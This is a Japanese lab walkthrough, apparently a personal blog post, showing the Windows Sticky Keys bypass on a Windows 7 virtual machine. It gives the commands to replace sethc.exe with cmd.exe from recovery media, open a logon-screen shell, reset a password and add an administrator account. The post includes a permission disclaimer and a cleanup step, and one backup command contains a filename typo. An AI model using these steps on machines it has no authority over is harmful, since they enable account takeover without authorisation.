はじめに
「ハッキング・ラボのつくりかた」p.660-672を参考にした。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
どのようなハッキング手法か
Sticky keys機能は、補助キー(shift,ctrl,alt,Winキー）と他のキーの同時入力が難しい場合のユーザー補助機能。
Windowsキーを５回押下すれば、Sicky keysを有効にするかどうかの確認ダイアログが表示される。
これを悪用することで、ローカルアカウントのパスワードをリセットしたり、新しい管理者ユーザーを作ることが可能。
やってみる
targetPC : VirtualBoxにインストールしたWindows7 32bit版
使用するもの : Windows10 32bit版インストール用ISO
※CPUのビット数を揃える
VirtualBoxのブートシーケンスが、ISO(CD/DVD,USBメモリ)が最初に来るようにする。isoからブートする。
以下、「次へ」>「コンピュータを修復する」>「トラブルシューティング」>「コマンドプロンプト」を辿る。
コマンドプロンプト
ドライブが見かけ上かわっていることがある。当方の環境では、C:\。
c:
dir
//dirで、カレントディレクトリを確認する。
cd Windows\system32
copy setc.exe sethc_old.exe
copy cmd.exe sethc.exe
//sethc.exeを上書きする。
sethc.exeは、Sticky Keys機能を提供するプログラム
- PCを再起動する。
ブートメディア(ISO,CD/DVD,USBメモリ)を取り出してから、PCを再起動する。
shutdown /r /t 0
再起動時のログオン画面で、Shiftキーを五回連打すると、コマンドプロンプトが起動する。
プロンプト上で、次のコマンドを実行する。
whoami
//ユーザー権限の確認
net user target aaa111
//パスワード変更
net user bypass bypass /add
//ユーザー追加
net localgroup administrators bypass /add
//管理者権限を付与する。
targetユーザーのパスワード変更と、administrator権限を持つbypassユーザーの作成を確認出来た。
後始末
ブートメディアからコマンドプロンプトをたちあげて、コマンドを実行する。
copy sethc_old.exe sethc.exe
おわりに
「ハッキング・ラボのつくりかた」